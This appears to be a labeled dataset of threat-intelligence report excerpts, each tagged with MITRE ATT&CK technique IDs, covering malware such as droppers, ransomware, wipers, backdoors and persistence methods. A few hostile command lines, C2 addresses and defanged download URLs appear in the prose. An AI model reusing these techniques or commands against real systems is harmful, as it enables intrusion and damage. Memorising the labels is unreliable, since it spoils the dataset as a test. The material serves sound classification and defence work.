+1) Ferocious dropper: The Excel dropper, after the user opens it and disables the protected mode, will execute a series of formulas placed in a hidden column. Initially, they will hide the main spreadsheet that requested the user to “enable editing”, then unhide a secondary spreadsheet that contains the decoy, to avoid raising suspicion. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. Otherwise, the macro will open a temporary %ProgramData%\winrm.txt file and save a VBS stager to %ProgramData%\winrm.vbs and set up registry keys for persistence. 5) Ferocious run-1: After the macro finishes writing to disk, it runs winrm.vbs using explorer.exe. The VBS script will also add two important registry keys for persistence. The persistence technique observed in all intrusions uses COM hijacking. In this technique, the threat actor is able to add a Class ID in the current user registry hive (HKCU) referencing the malicious VBS script written previously to %ProgramData%\winrm.vbs. Registry keys used for COM hijacking After the above execution chain, the Excel 4.0 macro will clean up and delete the winrm.vbs and winrm.txt files. 6) Ferocious run-2: The macro will continue after the cleanup by recreating and opening the same files, winrm.vbs and winrm.txt	['T1112']
+All the strings used by the malware are encrypted and are decrypted by Rijndael symmetric encryption algorithm in the “<Module>.\u200E” function	['T1027']
+They dumped specific hives from the Windows Registry, such as the SAM hive, which contains password hashes	['T1005']
+Volexity's investigation into this incident determined the attacker had accessed the Duo integration secret key (akey) from the OWA server. This key then allowed the attacker to derive a pre-computed value to be set in the duo-sid cookie. After successful password authentication, the server evaluated the duo-sid cookie and determined it to be valid. This allowed the attacker with knowledge of a user account and password to then completely bypass the MFA set on the account. It should be noted this is not a vulnerability with the MFA provider and underscores the need to ensure that all secrets associated with key integrations, such as those with an MFA provider, should be changed following a breach. Further, it is important that not only are passwords changed after a breach, but that passwords are not set to something similar to the previous password (e.g	['T1550.004', 'T1606.001']
+The legitimate DLL that would be used in this case has the size of roughly 600 KB, but here we have an obfuscated library that is over 600 MB. The large size of the file is intended to hamper analysis and detection. Once all empty sections have been removed from the library, the final payload is a binary of 27.5 MB	['T1027.001']
+Generally, the malware uses AutoIt or VBS scripts added into MSI files, which run malicious DLLs using the DLL-Hijack technique, aiming to bypass security solutions	['T1574.001']
+Gamaredon is an advanced persistent threat (APT) group that has been active since 2013. From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group’s activities	['T1140', 'T1059.005']
+When you run the command, it sets all the required information about the AD FS to Azure AD for the federated domain. It also creates a relying party trust for the Azure AD to the local AD FS server. When a user is authenticated on AD FS, it creates a security token including claims about the user’s identity. With Azure AD, two claims are used for authentication; UserPrincipalName and ImmutabledId. Basically, the ImmutableId could be any string, as long as it matches the ImmutableId attribute of the user object in Azure AD. Typically the ImmutableId is a base 64 encoded GUID of the user object in on-premises AD (to convert GUID to immutable ID see the tools page). Converting the domain to federated also creates two claim issuance rules. For short, the rules add the UserPrincipalName and ImmutableId claims of the logged in user to the security token. When security token is delivered to Azure authentication platform, it checks the token signature, and if it matches the trust, the user is granted access	['T1484']
+NICKEL used compromised credentials to sign into victims’ Microsoft 365 accounts through normal sign-ins with a browser and the legacy Exchange Web Services (EWS) protocol to review and collect victim emails. MSTIC has observed successful NICKEL sign-ins to compromised accounts through commercial VPN providers as well as from actor-controlled infrastructure	['T1133', 'T1078.004']
+By enabling this data connection, the user allows Excel to obtain content from the URL in the .iqy file. The contents within the releasenotes.txt file (SHA256: bf925f340920111b385078f3785f486fff1096fd0847b993892ff1ee3580fa9d) contains the following formula that Excel will save to the “A0” cell in the worksheet	['T1204.002']
+After the system reboots, the file “AJWrDz.exe” executes, which in turn triggers the side-loading of the malicious (and fake) DLL file “dbghelp.dll”. This malicious DLL file injects itself to Windows Media Player process — wmplayer.exe, and reflectively loads the renamed jesus.dmp file, “AJWrDz.dmp	['T1055.001']
+The Emissary Trojan will use this GUID value provided by the C2 server as an encryption key that it will use to encrypt data sent in subsequent network communications	['T1027', 'T1573.001']
+It also checks for the existence of various tools and utilities that malware analysts often run when analyzing malicious software. It also leverages Structured Exception Handling (SEH) to patch its own code. These measures are all designed to impede the analysis process and make it more expensive to identify what the malware is actually designed to do from a code execution flow perspective. Below the EAX register is stored in a variable to be reused later in order to allocate a heap memory chunk to initiate its own unpacked code. The malware also uses others techniques to make analysis significantly more difficult, like creating hundreds of case comparisons, which makes tracing code much harder. Below an example of several if conditional statements in pseudo code demonstrating this process and how it can result in impeding the ability to efficiently trace the code. In order to decrypt the malware code it's installs an exception handler, which is responsible for decrypting some memory bytes to continue it's execution. Below you can see the SEH has just been initialized: In the same routine, it performs the decryption routine for the following code. The strings are encrypted using an XOR value, however each string uses a separate XOR value preventing an easy detection mechanism. Below is some IDA Python code which can be used to decrypt strings	['T1027']
+There are 2 ways by which Linux/Ebury can choose a server where the DNS packets are sent. The second method uses an algorithm to generate a domain name dynamically. This domain name will be queried for its A and TXT records. The TXT record will be used to verify that it is under the control of the operators using public key cryptography. Details about the domain generation algorithm and the verification processed will be published later	['T1568.002']
+After the Waterbear DLL loader is executed, it searches for a hardcoded path and tries to decrypt the corresponding payload, which is a piece of encrypted shellcode. If the decrypted payload is valid, it picks a specific existing Windows Service — LanmanServer, which is run by svchost.exe — and injects the decrypted shellcode into the legitimate service	['T1055']
+The malware initiates its main function of capturing user keystrokes and sending them to the control server using standard Windows networking APIs	['T1056.001', 'T1056']
+Process hollowing is a code injection technique that involves spawning a new instance of legitimate process (in this case c:\windows\syswow64\explorer.exe) and then replacing the legitimate code with malware	['T1055.012']
+"The January 2022 version of PlugX malware utilizes RC4 encryption along with a hardcoded key that is built dynamically. For communications, the data is compressed then encrypted before sending to the command and control (C2) server and the same process in reverse is implemented for data received from the C2 server. Below shows the RC4 key ""sV. During the January 2022 campaigns, the delivered PlugX malware samples communicated with the C2 server 92.118.188[.]78 over port 187. In the February 2022 campaign, Proofpoint researchers observed a variation in which PlugX malware used an RC4 key that was sent to the bot in the first HTTP response which was then used to encrypt data going to the C2 server"	['T1573.001']
+A series of xor 0x28 loops decrypt the contents of a self-deletion batch file, which is then written to disk and executed. Later in the execution, a more complex rc4 loop decrypts the download url and other strings and imports	['T1140']
+FALLCHILL is the primary component of a C2 infrastructure that uses multiple proxies to obfuscate network traffic between HIDDEN COBRA actors and a victim’s system. According to trusted third-party reporting, communication flows from the victim’s system to HIDDEN COBRA actors using a series of proxies as shown in figure 1	['T1090.002']
+Ferocious Kitten is an APT group that since at least 2015 has been targeting Persian-speaking individuals who appear to be based in Iran. Although it has been active for a long time, the group has mostly operated under the radar and has not been covered by security researchers to the best of our knowledge. It is only recently that it drew attention when a lure document was uploaded to VirusTotal and went public thanks to researchers on Twitter. Since then, one of its implants has been analyzed by a Chinese threat intelligence firm	['T1566.001']
+The malware encrypts user files, demanding a fee of either $300 or $600 worth of bitcoins to an address specified in the instructions displayed after infection	['T1486']
+In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. This hash is combined with a DWORD using a simple XOR. This string hashing algorithm is identical to the hashing algorithm used in other Dridex modules	['T1012']
+Much of the code inside the script is from the library “js-cookie” version 2.2.1. However, the attackers modified it and integrated a credit card skimmer into the original script. The skimmer binds at the events “mousedown” and “touchstart” of the payment submit button	['T1119']
+"From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. When the malicious RTF document is opened, two things happen that allow the attacker malware to run. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory. The Patchwork threat actors also appear to have adopted a technique seen from other APT groups where they are now tracking the effectiveness of their campaigns by recording which recipients have opened the phishing message"	['T1203']
+In addition to this, as reported by our peers at ESET last week, the group has also begun using a UEFI (Unified Extensible Firmware Interface) rootkit known as Lojax. Because the rootkit resides within a computer’s flash memory, it allows the attackers to maintain a persistent presence on a compromised machine even if the hard drive is replaced or the operating system is reinstalled	['T1014']
+f) Hadoop YARN ResourceManager – Command Execution (exploit) g) CVE-2016-3088: Apache ActiveMQ Fileserver File Upload Remote Code Execution Vulnerability	['T1203', 'T1203', 'T1105']
+shareDll, mshareDll, tshareDll Modules used to propagate Trickbot loader to connected network shares of the victimized machine. Modules used to propagate Trickbot loader to connected network shares of the victimized machine. wormwinDll, wormDll, mwormDll, nwormDll Modules used for spreading inside a local network of compromised machines via SMB. It uses the EternalBlue exploit. Modules used for spreading inside a local network of compromised machines via SMB. It uses the EternalBlue exploit. tabDll Module used to spread into the network using the EternalRomance exploit. Module used to spread into the network using the EternalRomance exploit	['T1210']
+The s.exe (SHA256: 04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462) uploaded to the error2.aspx webshell is a self-extracting 7-zip archive that is an example of the HyperBro backdoor. According to Kaspersky and SecureWorks research, HyperBro is a custom backdoor developed and used by Emissary Panda in their attack campaigns. This sample of HyperBro is similar to the sample discussed in Kaspersky’s research, specifically using a legitimate pcAnywhere application to sideload a DLL to decrypt, decompress and run a payload embedded within a file named ‘thumb.db’. Table 5 shows the three files associated with this HyperBro sample, which have the same file names as the self-extracting 7zip archives mentioned in Kaspersky’s blog (SHA256 hashes: 34a542356ac8a3f6e367c6827b728e18e905c71574b3813f163e043f70aa3bfa and 2144aa68c7b2a6e3511e482d6759895210cf60c67f14b9485a0236af925d8233	['T1574.002']
+The dropper has its encrypted payload embedded as an overlay of a PE file as extra data that will never be used in normal execution steps	['T1027']
+COMSysApp service is first configured to autostart and the binpath of the service is set to svchost.exe. COMSysApp service is added under the “SvcHost” key as a preliminary step to its execution in the context of svchost.exe. The malicious DLL is added as a service DLL of COMSysApp. COMSysApp service is restarted	['T1546.015']
+"One, called ""frown.py,"" is responsible for the communications with the command and control (C2). It uses TLS to encrypt the communication that occurs on port 143"	['T1571']
+Currently, Agent Tesla continues to be utilized in various stages of attacks. Agent Tesla is now able to harvest configuration data and credentials from a number of common VPN clients, FTP and Email clients, and Web Browsers. The malware has the ability to extract credentials from the registry as well as related configuration or support files. Our analysis of a swatch of current Agent Tesla samples reveals the following list of targeted software	['T1552.002', 'T1552.001']
+Next, BoomBox downloads an encrypted file from Dropbox. For demonstration purposes, an example HTTP(s) POST request used to download the encrypted file from Dropbox is shown below	['T1071.001']
+Along with the JavaScript RAT, DarkWatchman features a C# keylogger. The keylogger is distributed as obfuscated C# source code that is processed and stored in the registry as a Base64-encoded PowerShell command. When the RAT is launched, it executes this PowerShell script which, in turn, compiles the keylogger (using CSC) and executes it. The keylogger itself does not communicate with the C2 or write to disk. Instead, it writes it’s keylog to a registry key that it uses as a buffer. During its operation, the RAT scrapes and clears this buffer before transmitting the logged keystrokes to the C2 server	['T1132.001']
+The algorithm used by Dyre for generating the AES and IV from the first 48 bytes of data based on a rehashing scheme was commonly referred to as Dyre’s derive_key function, this function was slightly changed in the new bot	['T1573.001']
+Figure 1 – The wrapper DLL poses as a legitimate mpr.dll library, both by its name and version info	['T1036.005']
+For this analysis, we looked at version 2.14.845, which has a configuration that differs from the others Dreambot versions in that the domain generation algorithm (DGA) is not used: therefore, the DGA variables and parameters are missing	['T1568.002']
+Along with the JavaScript RAT, DarkWatchman features a C# keylogger. The keylogger is distributed as obfuscated C# source code that is processed and stored in the registry as a Base64-encoded PowerShell command. When the RAT is launched, it executes this PowerShell script which, in turn, compiles the keylogger (using CSC) and executes it. Instead, it writes it’s keylog to a registry key that it uses as a buffer	['T1027', 'T1059.001']
+As part of its initialization, the implant gathers basic system information and sends it to its hardcoded control server 203.131.222.83 using SSL over port 443	['T1124']
+As described in other blog posts, Remcos appears to be developed in C++. As the release notes show, it is actively maintained. 17, 2017 Remcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. A good example is the anti-analysis section: It is checking for an outdated artifact, the 'SbieDll.dll'. In our opinion, there are not many analysts using Sandboxie these days anymore. Below you can see the Remcos VMware detection code: The following is a code sample from aldeid.com: The blog referenced above has already described several functions of Remcos features in detail. We would like to focus on Remcos' cryptographic implementation. It uses RC4 pretty much everywhere when there is a need to decode or encode any data. Examples are registry entries, C2 server network communication or file paths shown below: The exepath registry data is base64-encoded, RC4-encrypted data. This can be converted into the typical RC4 pseudo code	['T1027']
+The Word document has a malicious macro in it and, when opened by the victim, it will drop and execute a file in a specific folder	['T1204.002']
+This time, APT15 opted for a DNS based backdoor: RoyalDNS. The persistence mechanism used by RoyalDNS was achieved through a service called ‘Nwsapagent	['T1543.003']
+To gain access to victim environments, the threat actor began by targeting handpicked employees using LinkedIn messaging and email, advertising fake jobs to lure recipients into checking into the supposed offers. In one case, we uncovered evidence indicating that the attacker had established communication with a victim via email and convinced them to click on a Google Drive URL purporting to contain an attractive job advert. Once clicked, the URL displayed the message, “Online preview is not available,” then presented a second URL leading to a compromised or rogue domain, where the victim could download the payload under the guise of a job description	['T1566.003']
+TajMahal’ is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins we’ve ever seen for an APT toolset	['T1027']
+When loaded, the FoggyWeb backdoor (originally named Microsoft.IdentityServer.WebExtension.dll by its developer) functions as a passive and persistent backdoor that allows abuse of the Security Assertion Markup Language (SAML) token. The backdoor configures HTTP listeners for actor-defined URIs that mimic the structure of the legitimate URIs used by the target’s AD FS deployment. The custom listeners passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor. This version of FoggyWeb configures listeners for the following hardcoded URI patterns (which might vary per target	['T1550', 'T1040']
+After completing this wiping functionality, the sample will reboot the system using the following command line, which will render it unusable when the system reboots as the important system locations and files have been overwritten with random data	['T1529']
+Typical lateral movement methods were employed, using Windows commands. First, a network connection with a remote host was established using the command “net use	['T1049']
+1) Loads the image resource with name `T__6541957882` into memory. 3) Adds `0xEE` to the bytes to decode the DLL. 4) Reflectively loads decoded DLL into memory and executes it	['T1620']
+Kimsuky has also used a Mac OS Python implant that gathers data from Mac OS systems and sends it to a C2 server (Command and Scripting Interpreter: Python [T1059.006]). The Python program downloads various implants based on C2 options specified after the filedown.php (see figure 4	['T1071.003', 'T1059.006']
+PowerShell: Microsoft scripting tool that was used to run commands to download payloads, traverse compromised networks, and carry out reconnaissance	['T1059.001']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. MSGet typically downloads encoded binaries from hard-coded URLs. Source: Secureworks) - Screen Capture Tool— This tool can capture the desktop of a victim's system (see Figure 5). Figure 5. Source: Secureworks) - RarStar — This custom tool uploads RAR archives to a specified URL as POST data (see Figure 6). RarStar encodes the POST data using Base64 and a custom XOR algorithm. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. WinRAR — This tool extracts tools for lateral movement and compresses data for exfiltration. Use malware to upload the large list of enumerated files to the C2 server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1132.001']
+1) Right after midnight, the attackers connected to a machine on the targeted network most probably via RDP. 3) The attacker used psexec.exe to execute “Cobalt.Client.exe”, which is the Pay2Key ransomware itself, on different machines within the organization	['T1090', 'T1090.001']
+If the system is a 64-bit version of Windows, it downloads and executes a specific 64-bit version of the malware thanks to a powershell script	['T1059.001']
+Remote templates are a feature of Microsoft Word which allow a document to load a template to be used in a document – this template can be externally hosted, either on a file share, or on the internet. The template is then loaded when the document is opened. The Inception attackers use this feature in a malicious context as shown in Figure 1 below	['T1221']
+"Collect document files with the suffixes "".txt"", "".doc"" and "".xls"" in the Internet cache directory of the IE browser"	['T1005']
+"If the user does not have permissions to add a service, the installation routine attempts to add persistence by creating the following registry key that will run the functional code within Emissary via an exported function named ""DllRegister"	['T1547.001']
+Malicious obfuscated VBA code is executed when the macro is first enabled. In some cases, the malicious macro is also executed when the user activates a fake text box	['T1204.002']
+This group uses spear-phishing emails to deliver both malicious Word and PDF documents, and attempts to social engineer the victim into an infection rather than trying to exploit a software vulnerability	['T1566.001']
+The APT actor has been observed using Cisco AnyConnect Secure Socket Layer (SSL) virtual private network (VPN) connections to enable remote logins on at least one victim network, possibly enabled by an Exim Simple Mail Transfer Protocol (SMTP) vulnerability (CVE 2019-10149) (External Remote Services [T1133]). More recently, the APT actor enumerated and exploited a Fortinet VPN vulnerability (CVE-2018-13379) for Initial Access [TA0001] and a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory (AD) servers for Privilege Escalation [TA0004] within the network (Valid Accounts [T1078]). These vulnerabilities can also be leveraged to compromise other devices on the network (Lateral Movement [TA0008]) and to maintain Persistence [TA0003	['T1133', 'T1210']
+UnionCryptoUpdater.exe does not immediately download the stage 2 malware but instead downloads it after a time specified by the C2 server. This delay could be implemented to prevent researchers from directly obtaining the stage 2 malware	['T1497.003']
+It registers as a system service to ensure its automatic execution at every system startup by adding the following registry keys	['T1547.001']
+After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services	['T1497.003']
+Once the malware starts it tries to reach a hardcoded C2. The communication takes place using the unmodified HTTP-based protocol, the request and response body are RC4-encrypted, and the encryption key is also hardcoded into the sample	['T1573.001']
+From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication	['T1573.001']
+Persistence was established via a crontab entry for a non-root user. With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a @reboot line so the GoldMax binary would execute again upon system reboot. Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated	['T1053.003']
+In analyzing FinFisher, the first obfuscation problem that requires a solution is the removal of junk instructions and “spaghetti code”, which is a technique that aims to confuse disassembly programs. Spaghetti code makes the program flow hard to read by adding continuous code jumps, hence the name. An example of FinFisher’s spaghetti code is shown below	['T1027.001', 'T1027']
+In April 2018 we discovered a new Octopus sample pretending to be Telegram Messenger with a Russian interface. We couldn´t find any legitimate software that this malware appears to be impersonating; in fact, we don´t believe it exists. Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen	['T1036']
+Later, the malware enters in a big block of trash code that also includes some elements to decrypt strings and important information for later	['T1027']
+The DNS resolution is performed using DNS over HTTPS (DoH). The malware sends an HTTP POST request to a Google DNS Server (8.8.8.8) using the following headers	['T1572']
+While Cobalt Gang 1.0 uses ThreadKit extensively, Cobalt 2.0 adds sophistication to its delivery method, borrowing some of the network infrastructures used by both APT28 (aka Fancy Bear) and MuddyWater. One of the Cobalt 2.0 Group’s latest campaigns, an attack that leads to a Cobalt Strike beacon and to JavaScript backdoor, was investigated and presented by the Talos research team. Cobalt Group Technical Details . Stage 1 - Word Macro + Whitelisting Bypass . As with many other campaigns, the victim received a document with malicious macro visual basic code. In our case the attacker abused cmstp to execute JavaScript scriptlet (XML with JS) that is downloaded from the e-dropbox[.]biz site. Although some security solutions will block all PureBasic programs (wrong move – there are plenty of legitimate PureBasic programs in use today), it’s a smart move made by the attacker group. The right side of the pair is the name of the JavaScript in the next stage (stage 4) , while the left side of the pair represents the file that will be downloaded as part of stage 5. Such a combination of registry manipulation was reported a year ago as part of an attack campaign executed by the Cobalt Group against Ukrainian banks. As part of the last execution step of the dll, the malicious code writes a JavaScript scriptlet into the Roaming directory and then it executes CreateProcess on the regsvr32 as described by the UserInitMprLogonScript. Stage 5 - JavaScript Backdoor . The last stage JavaScript is downloaded from hxxps://server.vestacp[.]kz/robots.txt. Organizations should expect to see much more coming from all Cobalt Group factions during the next year	['T1105']
+To confound detection, its operators recently started using PowerShell scripts that provide direct, in-memory loading and execution of malware executables and libraries. We will also present various payloads, including an RPC-based backdoor and a backdoor leveraging OneDrive as its Command and Control (C&C) server. Then, it calls VirtualProtect to allow writing at the retrieved address. Patching of AmsiScanBuffer function . Payloads . The PowerShell scripts we have presented are generic components used to load various payloads, such as an RPC Backdoor and a PowerShell backdoor. RPC backdoor . Turla has developed a whole set of backdoors relying on the RPC protocol. OneDrive credentials in PowerStallion script . It is interesting to note that Turla operators used the free email provider GMX again, as in the Outlook Backdoor and in LightNeuron. Then it uses a net use command to connect to the network drive. It then checks, in a loop, as shown in Figure 12, if a command is available. Modification of MAC times of the local log file . We believe this backdoor is a recovery access tool in case the main Turla backdoors, such as Carbon or Gazer, are cleaned and operators can no longer access the compromised computers. We have seen operators use this backdoor for the following purposes: Conclusion . In a 2018 blogpost, we predicted that Turla would use more and more generic tools	['T1106']
+Gain access to the victim’s network by logging into a public-facing system via Secure Shell (SSH) using a local account <user sftp> acquired during previous credential theft activities. Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account. From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator’s account	['T1021.001', 'T1090.001']
+Following initial access, GRIM SPIDER focuses on collecting credentials from the compromised hosts and uses existing RDP in an attempt to get a domain administrator account and access to the Windows Domain Controller. This process can take several iterations of harvesting credentials, connecting to new systems and establishing persistence	['T1078']
+All versions generate a list of files to encrypt by parsing the available drives and directories, but will avoid adding files that are of relevance to the malware	['T1083']
+BOOM.exe, tracked by Microsoft as “BoomBox”, can be best described as a malicious downloader. The downloader is responsible for downloading and executing the next-stage components of the infection. These components are downloaded from Dropbox (using a hardcoded Dropbox Bearer/Access token	['T1105', 'T1102']
+There doesn’t appear to be anything unique when it comes to the Word Document and its standard ploy of pushing recipients to “enable content” and run a malicious macro. An analysis of the link from the phishing e-mail contains a base64-encoded string representing the recipient’s address. Using that string, attackers insert the recipient’s name into the filename of the World document	['T1140']
+The downloader collects basic system information and sends it via an HTTP POST request to a hardcoded command and control (C&C) server (Figure 10	['T1071.001']
+The C2 domain name for the DNS communication is hardcoded and obfuscated using XOR. The backdoor will generate a subdomain using a custom domain generation algorithm (DGA) and try to send an initial beacon to the C2 via DNS tunneling	['T1568.002']
+However, the subsequent Diskcoder.C outbreak suggests that the attackers had access to the update server of the legitimate software. Using access to this server, attackers pushed a malicious update that was applied automatically without user interaction	['T1195.002']
+The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. After that, it will check if ESET or BitDefender antivirus are installed before dropping the malware. If they are installed, nothing will be dropped. We'll now break down the 5kplayer trojanized installer	['T1518.001']
+In the case of the observed exploit, specifically when handling Microsoft PowerPoint files, the packagers allows a Package OLE object to reference arbitrary external files, such as INF files, from untrusted sources. This will cause the referenced files to be downloaded in the case of INF files, to be executed with specific commands - An attacker can exploit this vulnerability to execute arbitrary code but will need a specifically crafted file and use social engineering methods (observed in this campaign) to convince a user to open it	['T1203']
+The directory is used as temporary storage for files containing collected data about the compromised computer. Such files share a common naming convention, encryption algorithm and structure. They are encrypted by a simple variation of the XOR cipher which is used across the malware components. The type of the file can be derived from the 4-byte control sequences placed at the beginning of the file	['T1560.003']
+The key descriptor’s string contains Bayren_Munchen which seems likely to refer to the German soccer team FC Bayern Munich. Regardless, it is not the content of the key descriptor – but its length – that matters, with that length used to retrieve the XOR key used to encrypt the payload	['T1140']
+The older “mode” variant of BitPaymer uses the Windows registry for persistence, while the newer service variant will attempt to install itself as a service	['T1543.003']
+A while loop is used to join a series of data blobs into the allocated buffer, and the contents of this buffer are then decrypted with an XOR based algorithm. Once decrypted, the crypter jumps into the data blob which turns out to be a shellcode responsible for decrypting the actual payload. The shellcode copies the encrypted payload into another buffer allocated by calling the VirtualAlloc API, and then decrypts this with an XOR based algorithm in a similar way to that described above. To execute the payload, the shellcode replaces the crypter’s code in memory with the code of the payload just decrypted, and jumps to its entry point	['T1140']
+TA453, an Iranian-state aligned actor, masqueraded as British scholars to covertly target individuals of intelligence interest to the Iranian government in what Proofpoint has dubbed Operation SpoofedScholars. The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page. The use of a legitimate but actor-compromised website is an increase in sophistication compared to TA453’s historical Tactics, Techniques, and Procedures of using actor-controlled credential phishing websites. Proofpoint has worked with the appropriate authorities to conduct victim notification	['T1584.001']
+"Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\Microsoft\Windows\Recent"". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\<OfficeVersionNumber>.0\Word\Security\VBAWarnings = 0x1"	['T1057']
+The code injected into an msiexec.exe sends a beacon signal to the CnC server and awaits commands	['T1218.007']
+Run commands on Windows system remotely using Winexe: Winexe is a GNU/Linux-based application that allows users to execute commands remotely on WindowsNT/2000/XP/2003/Vista/7/8 systems. It installs a service on the remote system, executes the command, and uninstalls the service. Winexe allows execution of most of the windows shell commands	['T1569.002']
+As with campaigns attributed to BlackEnergy group the attackers used spearphishing emails with Microsoft Excel documents attached that contain malicious macros as an initial infection vector. This time malicious documents don’t have any content with social engineering directing potential victims to click an Enable Content button. It seems that the attackers are depending on the victims to decide entirely on their own whether to click it or not	['T1204.002']
+TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware	['T1012']
+Stage2.exe is a downloader for a malicious file corrupter malware. Upon execution, stage2.exe downloads the next-stage malware hosted on a Discord channel, with the download link hardcoded in the downloader. The next-stage malware can best be described as a malicious file corrupter. Once executed in memory, the corrupter locates files in certain directories on the system with one of the following hardcoded file extensions	['T1083']
+Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time	['T1027']
+The Bazar backdoor is a new stealthy malware, part of the TrickBot group’s toolkit arsenal and leveraged for high-value targets. The Bazar loader is used to download and execute the Bazar backdoor on the target system. The goal of this backdoor is to execute binaries, scripts, modules, kill processes, and then remove itself from the compromised machine. The samples used in this campaign heavily rely on control flow obfuscation	['T1104']
+To evade protections, Egregor create a Group Policy Object to disable Windows Defender and try to takedown any anti-virus console prior to ransomware execution	['T1562.001']
+Adds persistence on the system by creating a shortcut in the user’s Startup folder with the correct cmdline arguments	['T1547.001', 'T1547.009']
+"The malware contains 1 function, the purpose is to open the drive of the infected system (\\.\PhysicalDrive0) and write the following data to the MBR: You can see the ""Are you Happy. After writing to the MBR, the malware reboots the machine with the following command: c:\windows\system32\shutdown /r /t 1 After the reboot, the MBR displays the following string to the user: The link to the other campaigns was the following PDB path"	['T1529']
+The figure below shows the example of two of several possible command codes. Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal	['T1105']
+"The macro finishes by running the dropped VBScript ""AppPool.vbs"" file by running ""wscript C:\ProgramData\WindowsAppPool\AppPool.vbs"". When first executed, the ""AppPool.vbs"" file will create the following scheduled task to execute every minute, which provides BONDUPDATER persistence and the ability to continually run on the system as the Trojan does not have a main loop to carry out its functionality"	['T1053.005']
+Starting from August 2020, Pawn Storm has sent several spear phishing emails with a malicious RAR attachment. Among the earliest samples we received were two almost identical RAR files that contained a file called info.exe	['T1566.001']
+At periodic offsets, the bootloader overwrites sectors of an infected host’s entire hard drive, with a message similar to the ransom note, padded with additional bytes (Figure 2	['T1561.001']
+Ryuk attempts to encrypt all mounted drives and hosts that have Address Resolution Protocol (ARP) entries (IP addresses) and it enumerates all mounted drives by calling GetLogicalDrives. For each mounted drive, Ryuk calls GetDriveTypeW to determine the drive’s type. If the drive type is not a CD-ROM, files on the drive are encrypted. To retrieve IP addresses that have ARP entries, Ryuk calls GetIpNetTable. It iterates through all entries and then tries to enumerate files and folders on the remote host and encrypt the files	['T1083', 'T1082', 'T1016']
+It’s located on the hard drive and contains code that can display current volume shadow copy backups and all installed shadow copy writers and providers. Responsible for wiping deleted data from all drives using cipher.exe (cipher.exe is a built-in command-line tool in the Windows operating system that can be used to display or alter the encryption of directories and files on NTFS volumes. It’s located on the hard drive and contains code that can display current volume shadow copy backups and all installed shadow copy writers and providers. 9) Responsible for wiping deleted data from all drives using cipher.exe (cipher.exe is a built-in command-line tool in the Windows operating system that can be used to display or alter the encryption of directories and files on NTFS volumes	['T1490']
